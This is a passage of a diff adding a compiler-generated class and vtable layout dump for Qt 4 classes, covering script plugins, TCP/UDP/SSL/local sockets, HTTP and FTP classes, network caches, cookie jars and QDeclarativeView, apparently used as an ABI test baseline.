+QScriptExtensionInterface (0xb17c2ec0) 0 nearly-empty
+ vptr=((& QScriptExtensionInterface::_ZTV25QScriptExtensionInterface) + 8u)
+ QFactoryInterface (0xb17cc4ec) 0 nearly-empty
+ primary-for QScriptExtensionInterface (0xb17c2ec0)
+
+Vtable for QScriptExtensionPlugin
+QScriptExtensionPlugin::_ZTV22QScriptExtensionPlugin: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI22QScriptExtensionPlugin)
+8 QScriptExtensionPlugin::metaObject
+12 QScriptExtensionPlugin::qt_metacast
+16 QScriptExtensionPlugin::qt_metacall
+20 QScriptExtensionPlugin::~QScriptExtensionPlugin
+24 QScriptExtensionPlugin::~QScriptExtensionPlugin
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 (int (*)(...))-0x000000008
+68 (int (*)(...))(& _ZTI22QScriptExtensionPlugin)
+72 QScriptExtensionPlugin::_ZThn8_N22QScriptExtensionPluginD1Ev
+76 QScriptExtensionPlugin::_ZThn8_N22QScriptExtensionPluginD0Ev
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QScriptExtensionPlugin
+ size=12 align=4
+ base size=12 base align=4
+QScriptExtensionPlugin (0xb1815190) 0
+ vptr=((& QScriptExtensionPlugin::_ZTV22QScriptExtensionPlugin) + 8u)
+ QObject (0xb17cc7f8) 0
+ primary-for QScriptExtensionPlugin (0xb1815190)
+ QScriptExtensionInterface (0xb1812180) 8 nearly-empty
+ vptr=((& QScriptExtensionPlugin::_ZTV22QScriptExtensionPlugin) + 72u)
+ QFactoryInterface (0xb17cc834) 8 nearly-empty
+ primary-for QScriptExtensionInterface (0xb1812180)
+
+Class QScriptValueIterator
+ size=4 align=4
+ base size=4 base align=4
+QScriptValueIterator (0xb17cc960) 0
+
+Class QSslCertificate
+ size=4 align=4
+ base size=4 base align=4
+QSslCertificate (0xb17ccac8) 0
+
+Class QSslCipher
+ size=4 align=4
+ base size=4 base align=4
+QSslCipher (0xb17ccb7c) 0
+
+Vtable for QAbstractSocket
+QAbstractSocket::_ZTV15QAbstractSocket: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QAbstractSocket)
+8 QAbstractSocket::metaObject
+12 QAbstractSocket::qt_metacast
+16 QAbstractSocket::qt_metacall
+20 QAbstractSocket::~QAbstractSocket
+24 QAbstractSocket::~QAbstractSocket
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractSocket::isSequential
+60 QIODevice::open
+64 QAbstractSocket::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QAbstractSocket::atEnd
+84 QIODevice::reset
+88 QAbstractSocket::bytesAvailable
+92 QAbstractSocket::bytesToWrite
+96 QAbstractSocket::canReadLine
+100 QAbstractSocket::waitForReadyRead
+104 QAbstractSocket::waitForBytesWritten
+108 QAbstractSocket::readData
+112 QAbstractSocket::readLineData
+116 QAbstractSocket::writeData
+
+Class QAbstractSocket
+ size=8 align=4
+ base size=8 base align=4
+QAbstractSocket (0xb1812680) 0
+ vptr=((& QAbstractSocket::_ZTV15QAbstractSocket) + 8u)
+ QIODevice (0xb18126c0) 0
+ primary-for QAbstractSocket (0xb1812680)
+ QObject (0xb17ccc30) 0
+ primary-for QIODevice (0xb18126c0)
+
+Vtable for QTcpSocket
+QTcpSocket::_ZTV10QTcpSocket: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTcpSocket)
+8 QTcpSocket::metaObject
+12 QTcpSocket::qt_metacast
+16 QTcpSocket::qt_metacall
+20 QTcpSocket::~QTcpSocket
+24 QTcpSocket::~QTcpSocket
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractSocket::isSequential
+60 QIODevice::open
+64 QAbstractSocket::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QAbstractSocket::atEnd
+84 QIODevice::reset
+88 QAbstractSocket::bytesAvailable
+92 QAbstractSocket::bytesToWrite
+96 QAbstractSocket::canReadLine
+100 QAbstractSocket::waitForReadyRead
+104 QAbstractSocket::waitForBytesWritten
+108 QAbstractSocket::readData
+112 QAbstractSocket::readLineData
+116 QAbstractSocket::writeData
+
+Class QTcpSocket
+ size=8 align=4
+ base size=8 base align=4
+QTcpSocket (0xb1812bc0) 0
+ vptr=((& QTcpSocket::_ZTV10QTcpSocket) + 8u)
+ QAbstractSocket (0xb1812c00) 0
+ primary-for QTcpSocket (0xb1812bc0)
+ QIODevice (0xb1812c40) 0
+ primary-for QAbstractSocket (0xb1812c00)
+ QObject (0xb18651a4) 0
+ primary-for QIODevice (0xb1812c40)
+
+Class QSslError
+ size=4 align=4
+ base size=4 base align=4
+QSslError (0xb18653c0) 0
+
+Vtable for QSslSocket
+QSslSocket::_ZTV10QSslSocket: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QSslSocket)
+8 QSslSocket::metaObject
+12 QSslSocket::qt_metacast
+16 QSslSocket::qt_metacall
+20 QSslSocket::~QSslSocket
+24 QSslSocket::~QSslSocket
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractSocket::isSequential
+60 QIODevice::open
+64 QSslSocket::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QSslSocket::atEnd
+84 QIODevice::reset
+88 QSslSocket::bytesAvailable
+92 QSslSocket::bytesToWrite
+96 QSslSocket::canReadLine
+100 QSslSocket::waitForReadyRead
+104 QSslSocket::waitForBytesWritten
+108 QSslSocket::readData
+112 QAbstractSocket::readLineData
+116 QSslSocket::writeData
+
+Class QSslSocket
+ size=8 align=4
+ base size=8 base align=4
+QSslSocket (0xb1812fc0) 0
+ vptr=((& QSslSocket::_ZTV10QSslSocket) + 8u)
+ QTcpSocket (0xb1881000) 0
+ primary-for QSslSocket (0xb1812fc0)
+ QAbstractSocket (0xb1881040) 0
+ primary-for QTcpSocket (0xb1881000)
+ QIODevice (0xb1881080) 0
+ primary-for QAbstractSocket (0xb1881040)
+ QObject (0xb1865474) 0
+ primary-for QIODevice (0xb1881080)
+
+Class QSslConfiguration
+ size=4 align=4
+ base size=4 base align=4
+QSslConfiguration (0xb1865744) 0
+
+Class QSslKey
+ size=4 align=4
+ base size=4 base align=4
+QSslKey (0xb18657f8) 0
+
+Vtable for QLocalServer
+QLocalServer::_ZTV12QLocalServer: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QLocalServer)
+8 QLocalServer::metaObject
+12 QLocalServer::qt_metacast
+16 QLocalServer::qt_metacall
+20 QLocalServer::~QLocalServer
+24 QLocalServer::~QLocalServer
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QLocalServer::hasPendingConnections
+60 QLocalServer::nextPendingConnection
+64 QLocalServer::incomingConnection
+
+Class QLocalServer
+ size=8 align=4
+ base size=8 base align=4
+QLocalServer (0xb1881600) 0
+ vptr=((& QLocalServer::_ZTV12QLocalServer) + 8u)
+ QObject (0xb18658ac) 0
+ primary-for QLocalServer (0xb1881600)
+
+Vtable for QLocalSocket
+QLocalSocket::_ZTV12QLocalSocket: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QLocalSocket)
+8 QLocalSocket::metaObject
+12 QLocalSocket::qt_metacast
+16 QLocalSocket::qt_metacall
+20 QLocalSocket::~QLocalSocket
+24 QLocalSocket::~QLocalSocket
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QLocalSocket::isSequential
+60 QIODevice::open
+64 QLocalSocket::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QIODevice::atEnd
+84 QIODevice::reset
+88 QLocalSocket::bytesAvailable
+92 QLocalSocket::bytesToWrite
+96 QLocalSocket::canReadLine
+100 QLocalSocket::waitForReadyRead
+104 QLocalSocket::waitForBytesWritten
+108 QLocalSocket::readData
+112 QIODevice::readLineData
+116 QLocalSocket::writeData
+
+Class QLocalSocket
+ size=8 align=4
+ base size=8 base align=4
+QLocalSocket (0xb18818c0) 0
+ vptr=((& QLocalSocket::_ZTV12QLocalSocket) + 8u)
+ QIODevice (0xb1881900) 0
+ primary-for QLocalSocket (0xb18818c0)
+ QObject (0xb1865ac8) 0
+ primary-for QIODevice (0xb1881900)
+
+Class QIPv6Address
+ size=16 align=1
+ base size=16 base align=1
+QIPv6Address (0xb1865ce4) 0
+
+Class QHostAddress
+ size=4 align=4
+ base size=4 base align=4
+QHostAddress (0xb1865e10) 0
+
+Vtable for QTcpServer
+QTcpServer::_ZTV10QTcpServer: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTcpServer)
+8 QTcpServer::metaObject
+12 QTcpServer::qt_metacast
+16 QTcpServer::qt_metacall
+20 QTcpServer::~QTcpServer
+24 QTcpServer::~QTcpServer
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTcpServer::hasPendingConnections
+60 QTcpServer::nextPendingConnection
+64 QTcpServer::incomingConnection
+
+Class QTcpServer
+ size=8 align=4
+ base size=8 base align=4
+QTcpServer (0xb1881f00) 0
+ vptr=((& QTcpServer::_ZTV10QTcpServer) + 8u)
+ QObject (0xb16f021c) 0
+ primary-for QTcpServer (0xb1881f00)
+
+Vtable for QUdpSocket
+QUdpSocket::_ZTV10QUdpSocket: 30u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QUdpSocket)
+8 QUdpSocket::metaObject
+12 QUdpSocket::qt_metacast
+16 QUdpSocket::qt_metacall
+20 QUdpSocket::~QUdpSocket
+24 QUdpSocket::~QUdpSocket
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QAbstractSocket::isSequential
+60 QIODevice::open
+64 QAbstractSocket::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QAbstractSocket::atEnd
+84 QIODevice::reset
+88 QAbstractSocket::bytesAvailable
+92 QAbstractSocket::bytesToWrite
+96 QAbstractSocket::canReadLine
+100 QAbstractSocket::waitForReadyRead
+104 QAbstractSocket::waitForBytesWritten
+108 QAbstractSocket::readData
+112 QAbstractSocket::readLineData
+116 QAbstractSocket::writeData
+
+Class QUdpSocket
+ size=8 align=4
+ base size=8 base align=4
+QUdpSocket (0xb17021c0) 0
+ vptr=((& QUdpSocket::_ZTV10QUdpSocket) + 8u)
+ QAbstractSocket (0xb1702200) 0
+ primary-for QUdpSocket (0xb17021c0)
+ QIODevice (0xb1702240) 0
+ primary-for QAbstractSocket (0xb1702200)
+ QObject (0xb16f0438) 0
+ primary-for QIODevice (0xb1702240)
+
+Class QAuthenticator
+ size=4 align=4
+ base size=4 base align=4
+QAuthenticator (0xb16f0870) 0
+
+Class QHostInfo
+ size=4 align=4
+ base size=4 base align=4
+QHostInfo (0xb16f08e8) 0
+
+Class QNetworkAddressEntry
+ size=4 align=4
+ base size=4 base align=4
+QNetworkAddressEntry (0xb16f0960) 0
+
+Class QNetworkInterface
+ size=4 align=4
+ base size=4 base align=4
+QNetworkInterface (0xb16f0a14) 0
+
+Class QNetworkProxyQuery
+ size=4 align=4
+ base size=4 base align=4
+QNetworkProxyQuery (0xb16f0b7c) 0
+
+Class QNetworkProxy
+ size=4 align=4
+ base size=4 base align=4
+QNetworkProxy (0xb16f0ca8) 0
+
+Vtable for QNetworkProxyFactory
+QNetworkProxyFactory::_ZTV20QNetworkProxyFactory: 5u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QNetworkProxyFactory)
+8 QNetworkProxyFactory::~QNetworkProxyFactory
+12 QNetworkProxyFactory::~QNetworkProxyFactory
+16 __cxa_pure_virtual
+
+Class QNetworkProxyFactory
+ size=4 align=4
+ base size=4 base align=4
+QNetworkProxyFactory (0xb16f0e4c) 0 nearly-empty
+ vptr=((& QNetworkProxyFactory::_ZTV20QNetworkProxyFactory) + 8u)
+
+Vtable for QUrlInfo
+QUrlInfo::_ZTV8QUrlInfo: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QUrlInfo)
+8 QUrlInfo::~QUrlInfo
+12 QUrlInfo::~QUrlInfo
+16 QUrlInfo::setName
+20 QUrlInfo::setDir
+24 QUrlInfo::setFile
+28 QUrlInfo::setSymLink
+32 QUrlInfo::setOwner
+36 QUrlInfo::setGroup
+40 QUrlInfo::setSize
+44 QUrlInfo::setWritable
+48 QUrlInfo::setReadable
+52 QUrlInfo::setPermissions
+56 QUrlInfo::setLastModified
+
+Class QUrlInfo
+ size=8 align=4
+ base size=8 base align=4
+QUrlInfo (0xb16f0e88) 0
+ vptr=((& QUrlInfo::_ZTV8QUrlInfo) + 8u)
+
+Class QNetworkConfiguration
+ size=4 align=4
+ base size=4 base align=4
+QNetworkConfiguration (0xb16f0f3c) 0
+
+Vtable for QNetworkConfigurationManager
+QNetworkConfigurationManager::_ZTV28QNetworkConfigurationManager: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI28QNetworkConfigurationManager)
+8 QNetworkConfigurationManager::metaObject
+12 QNetworkConfigurationManager::qt_metacast
+16 QNetworkConfigurationManager::qt_metacall
+20 QNetworkConfigurationManager::~QNetworkConfigurationManager
+24 QNetworkConfigurationManager::~QNetworkConfigurationManager
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QNetworkConfigurationManager
+ size=8 align=4
+ base size=8 base align=4
+QNetworkConfigurationManager (0xb1702f40) 0
+ vptr=((& QNetworkConfigurationManager::_ZTV28QNetworkConfigurationManager) + 8u)
+ QObject (0xb160c03c) 0
+ primary-for QNetworkConfigurationManager (0xb1702f40)
+
+Vtable for QNetworkSession
+QNetworkSession::_ZTV15QNetworkSession: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QNetworkSession)
+8 QNetworkSession::metaObject
+12 QNetworkSession::qt_metacast
+16 QNetworkSession::qt_metacall
+20 QNetworkSession::~QNetworkSession
+24 QNetworkSession::~QNetworkSession
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QNetworkSession::connectNotify
+52 QNetworkSession::disconnectNotify
+
+Class QNetworkSession
+ size=12 align=4
+ base size=12 base align=4
+QNetworkSession (0xb1618300) 0
+ vptr=((& QNetworkSession::_ZTV15QNetworkSession) + 8u)
+ QObject (0xb160c294) 0
+ primary-for QNetworkSession (0xb1618300)
+
+Class QNetworkRequest
+ size=4 align=4
+ base size=4 base align=4
+QNetworkRequest (0xb160c3c0) 0
+
+Class QNetworkCacheMetaData
+ size=4 align=4
+ base size=4 base align=4
+QNetworkCacheMetaData (0xb160c528) 0
+
+Vtable for QAbstractNetworkCache
+QAbstractNetworkCache::_ZTV21QAbstractNetworkCache: 22u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QAbstractNetworkCache)
+8 QAbstractNetworkCache::metaObject
+12 QAbstractNetworkCache::qt_metacast
+16 QAbstractNetworkCache::qt_metacall
+20 QAbstractNetworkCache::~QAbstractNetworkCache
+24 QAbstractNetworkCache::~QAbstractNetworkCache
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 __cxa_pure_virtual
+60 __cxa_pure_virtual
+64 __cxa_pure_virtual
+68 __cxa_pure_virtual
+72 __cxa_pure_virtual
+76 __cxa_pure_virtual
+80 __cxa_pure_virtual
+84 __cxa_pure_virtual
+
+Class QAbstractNetworkCache
+ size=8 align=4
+ base size=8 base align=4
+QAbstractNetworkCache (0xb1618840) 0
+ vptr=((& QAbstractNetworkCache::_ZTV21QAbstractNetworkCache) + 8u)
+ QObject (0xb160c5dc) 0
+ primary-for QAbstractNetworkCache (0xb1618840)
+
+Vtable for QFtp
+QFtp::_ZTV4QFtp: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI4QFtp)
+8 QFtp::metaObject
+12 QFtp::qt_metacast
+16 QFtp::qt_metacall
+20 QFtp::~QFtp
+24 QFtp::~QFtp
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QFtp
+ size=8 align=4
+ base size=8 base align=4
+QFtp (0xb1618b00) 0
+ vptr=((& QFtp::_ZTV4QFtp) + 8u)
+ QObject (0xb160c7f8) 0
+ primary-for QFtp (0xb1618b00)
+
+Vtable for QHttpHeader
+QHttpHeader::_ZTV11QHttpHeader: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QHttpHeader)
+8 QHttpHeader::~QHttpHeader
+12 QHttpHeader::~QHttpHeader
+16 QHttpHeader::toString
+20 __cxa_pure_virtual
+24 __cxa_pure_virtual
+28 QHttpHeader::parseLine
+
+Class QHttpHeader
+ size=8 align=4
+ base size=8 base align=4
+QHttpHeader (0xb160ca8c) 0
+ vptr=((& QHttpHeader::_ZTV11QHttpHeader) + 8u)
+
+Vtable for QHttpResponseHeader
+QHttpResponseHeader::_ZTV19QHttpResponseHeader: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI19QHttpResponseHeader)
+8 QHttpResponseHeader::~QHttpResponseHeader
+12 QHttpResponseHeader::~QHttpResponseHeader
+16 QHttpResponseHeader::toString
+20 QHttpResponseHeader::majorVersion
+24 QHttpResponseHeader::minorVersion
+28 QHttpResponseHeader::parseLine
+
+Class QHttpResponseHeader
+ size=8 align=4
+ base size=8 base align=4
+QHttpResponseHeader (0xb1618f40) 0
+ vptr=((& QHttpResponseHeader::_ZTV19QHttpResponseHeader) + 8u)
+ QHttpHeader (0xb160cbf4) 0
+ primary-for QHttpResponseHeader (0xb1618f40)
+
+Vtable for QHttpRequestHeader
+QHttpRequestHeader::_ZTV18QHttpRequestHeader: 8u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QHttpRequestHeader)
+8 QHttpRequestHeader::~QHttpRequestHeader
+12 QHttpRequestHeader::~QHttpRequestHeader
+16 QHttpRequestHeader::toString
+20 QHttpRequestHeader::majorVersion
+24 QHttpRequestHeader::minorVersion
+28 QHttpRequestHeader::parseLine
+
+Class QHttpRequestHeader
+ size=8 align=4
+ base size=8 base align=4
+QHttpRequestHeader (0xb14ac040) 0
+ vptr=((& QHttpRequestHeader::_ZTV18QHttpRequestHeader) + 8u)
+ QHttpHeader (0xb160cd20) 0
+ primary-for QHttpRequestHeader (0xb14ac040)
+
+Vtable for QHttp
+QHttp::_ZTV5QHttp: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI5QHttp)
+8 QHttp::metaObject
+12 QHttp::qt_metacast
+16 QHttp::qt_metacall
+20 QHttp::~QHttp
+24 QHttp::~QHttp
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QHttp
+ size=8 align=4
+ base size=8 base align=4
+QHttp (0xb14ac140) 0
+ vptr=((& QHttp::_ZTV5QHttp) + 8u)
+ QObject (0xb160ce4c) 0
+ primary-for QHttp (0xb14ac140)
+
+Vtable for QNetworkAccessManager
+QNetworkAccessManager::_ZTV21QNetworkAccessManager: 15u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI21QNetworkAccessManager)
+8 QNetworkAccessManager::metaObject
+12 QNetworkAccessManager::qt_metacast
+16 QNetworkAccessManager::qt_metacall
+20 QNetworkAccessManager::~QNetworkAccessManager
+24 QNetworkAccessManager::~QNetworkAccessManager
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QNetworkAccessManager::createRequest
+
+Class QNetworkAccessManager
+ size=8 align=4
+ base size=8 base align=4
+QNetworkAccessManager (0xb14ac440) 0
+ vptr=((& QNetworkAccessManager::_ZTV21QNetworkAccessManager) + 8u)
+ QObject (0xb14cb0f0) 0
+ primary-for QNetworkAccessManager (0xb14ac440)
+
+Class QNetworkCookie
+ size=4 align=4
+ base size=4 base align=4
+QNetworkCookie (0xb14cb30c) 0
+
+Vtable for QNetworkCookieJar
+QNetworkCookieJar::_ZTV17QNetworkCookieJar: 16u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QNetworkCookieJar)
+8 QNetworkCookieJar::metaObject
+12 QNetworkCookieJar::qt_metacast
+16 QNetworkCookieJar::qt_metacall
+20 QNetworkCookieJar::~QNetworkCookieJar
+24 QNetworkCookieJar::~QNetworkCookieJar
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QNetworkCookieJar::cookiesForUrl
+60 QNetworkCookieJar::setCookiesFromUrl
+
+Class QNetworkCookieJar
+ size=8 align=4
+ base size=8 base align=4
+QNetworkCookieJar (0xb14ac880) 0
+ vptr=((& QNetworkCookieJar::_ZTV17QNetworkCookieJar) + 8u)
+ QObject (0xb14cb438) 0
+ primary-for QNetworkCookieJar (0xb14ac880)
+
+Vtable for QNetworkDiskCache
+QNetworkDiskCache::_ZTV17QNetworkDiskCache: 23u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QNetworkDiskCache)
+8 QNetworkDiskCache::metaObject
+12 QNetworkDiskCache::qt_metacast
+16 QNetworkDiskCache::qt_metacall
+20 QNetworkDiskCache::~QNetworkDiskCache
+24 QNetworkDiskCache::~QNetworkDiskCache
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QNetworkDiskCache::metaData
+60 QNetworkDiskCache::updateMetaData
+64 QNetworkDiskCache::data
+68 QNetworkDiskCache::remove
+72 QNetworkDiskCache::cacheSize
+76 QNetworkDiskCache::prepare
+80 QNetworkDiskCache::insert
+84 QNetworkDiskCache::clear
+88 QNetworkDiskCache::expire
+
+Class QNetworkDiskCache
+ size=8 align=4
+ base size=8 base align=4
+QNetworkDiskCache (0xb14acdc0) 0
+ vptr=((& QNetworkDiskCache::_ZTV17QNetworkDiskCache) + 8u)
+ QAbstractNetworkCache (0xb14ace00) 0
+ primary-for QNetworkDiskCache (0xb14acdc0)
+ QObject (0xb14cb7bc) 0
+ primary-for QAbstractNetworkCache (0xb14ace00)
+
+Vtable for QNetworkReply
+QNetworkReply::_ZTV13QNetworkReply: 33u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QNetworkReply)
+8 QNetworkReply::metaObject
+12 QNetworkReply::qt_metacast
+16 QNetworkReply::qt_metacall
+20 QNetworkReply::~QNetworkReply
+24 QNetworkReply::~QNetworkReply
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QNetworkReply::isSequential
+60 QIODevice::open
+64 QNetworkReply::close
+68 QIODevice::pos
+72 QIODevice::size
+76 QIODevice::seek
+80 QIODevice::atEnd
+84 QIODevice::reset
+88 QIODevice::bytesAvailable
+92 QIODevice::bytesToWrite
+96 QIODevice::canReadLine
+100 QIODevice::waitForReadyRead
+104 QIODevice::waitForBytesWritten
+108 __cxa_pure_virtual
+112 QIODevice::readLineData
+116 QNetworkReply::writeData
+120 __cxa_pure_virtual
+124 QNetworkReply::setReadBufferSize
+128 QNetworkReply::ignoreSslErrors
+
+Class QNetworkReply
+ size=8 align=4
+ base size=8 base align=4
+QNetworkReply (0xb150d0c0) 0
+ vptr=((& QNetworkReply::_ZTV13QNetworkReply) + 8u)
+ QIODevice (0xb150d100) 0
+ primary-for QNetworkReply (0xb150d0c0)
+ QObject (0xb14cb9d8) 0
+ primary-for QIODevice (0xb150d100)
+
+Vtable for QDeclarativePropertyMap
+QDeclarativePropertyMap::_ZTV23QDeclarativePropertyMap: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI23QDeclarativePropertyMap)
+8 QDeclarativePropertyMap::metaObject
+12 QDeclarativePropertyMap::qt_metacast
+16 QDeclarativePropertyMap::qt_metacall
+20 QDeclarativePropertyMap::~QDeclarativePropertyMap
+24 QDeclarativePropertyMap::~QDeclarativePropertyMap
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QDeclarativePropertyMap
+ size=8 align=4
+ base size=8 base align=4
+QDeclarativePropertyMap (0xb150d3c0) 0
+ vptr=((& QDeclarativePropertyMap::_ZTV23QDeclarativePropertyMap) + 8u)
+ QObject (0xb14cbbf4) 0
+ primary-for QDeclarativePropertyMap (0xb150d3c0)
+
+Vtable for QDeclarativeView
+QDeclarativeView::_ZTV16QDeclarativeView: 69u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI16QDeclarativeView)
+8 QDeclarativeView::metaObject
+12 QDeclarativeView::qt_metacast
+16 QDeclarativeView::qt_metacall
+20 QDeclarativeView::~QDeclarativeView
+24 QDeclarativeView::~QDeclarativeView
+28 QGraphicsView::event
+32 QDeclarativeView::eventFilter
+36 QDeclarativeView::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QDeclarativeView::sizeHint
+68 QAbstractScrollArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QGraphicsView::mousePressEvent
+84 QGraphicsView::mouseReleaseEvent
+88 QGraphicsView::mouseDoubleClickEvent
+92 QGraphicsView::mouseMoveEvent
+96 QGraphicsView::wheelEvent
+100 QGraphicsView::keyPressEvent
+104 QGraphicsView::keyReleaseEvent
+108 QGraphicsView::focusInEvent
+112 QGraphicsView::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QDeclarativeView::paintEvent
+128 QWidget::moveEvent
+132 QDeclarativeView::resizeEvent
+136 QWidget::closeEvent
+140 QGraphicsView::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QGraphicsView::dragEnterEvent
+156 QGraphicsView::dragMoveEvent
+160 QGraphicsView::dragLeaveEvent
+164 QGraphicsView::dropEvent
+168 QGraphicsView::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QGraphicsView::inputMethodEvent
+192 QGraphicsView::inputMethodQuery
+196 QGraphicsView::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QGraphicsView::viewportEvent
+228 QGraphicsView::scrollContentsBy
+232 QGraphicsView::drawBackground
+236 QGraphicsView::drawForeground
+240 QGraphicsView::drawItems
+244 QDeclarativeView::setRootObject
+248 (int (*)(...))-0x000000008
+252 (int (*)(...))(& _ZTI16QDeclarativeView)
+256 QDeclarativeView::_ZThn8_N16QDeclarativeViewD1Ev
+260 QDeclarativeView::_ZThn8_N16QDeclarativeViewD0Ev
+264 QWidget::_ZThn8_NK7QWidget7devTypeEv
+268 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+272 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QDeclarativeView
+ size=20 align=4
+ base size=20 base align=4
+QDeclarativeView (0xb150d680) 0
+ vptr=((& QDeclarativeView::_ZTV16QDeclarativeView) + 8u)
+ QGraphicsView (0xb150d6c0) 0
+ primary-for QDeclarativeView (0xb150d680)
+ QAbstractScrollArea (0xb150d700) 0
+ primary-for QGraphicsView (0xb150d6c0)
+ QFrame (0xb150d740) 0
+ primary-for QAbstractScrollArea (0xb150d700)
+ QWidget (0xb152baa0) 0
+ primary-for QFrame (0xb150d740)
+ QObject (0xb14cbe10) 0
+ primary-for QWidget (0xb152baa0)
+ QPaintDevice (0xb14cbe4c) 8
+ vptr=((& QDeclarativeView::_ZTV16QDeclarativeView) + 256u)
+
+Class QDeclarativePrivate::RegisterType
+ size=76 align=4
+ base size=76 base align=4
+QDeclarativePrivate::RegisterType (0xb15442d0) 0
+
+Class QDeclarativePrivate::RegisterInterface
+ size=16 align=4
+ base size=16 base align=4
+QDeclarativePrivate::RegisterInterface (0xb154430c) 0
+
+Class QDeclarativePrivate::RegisterAutoParent
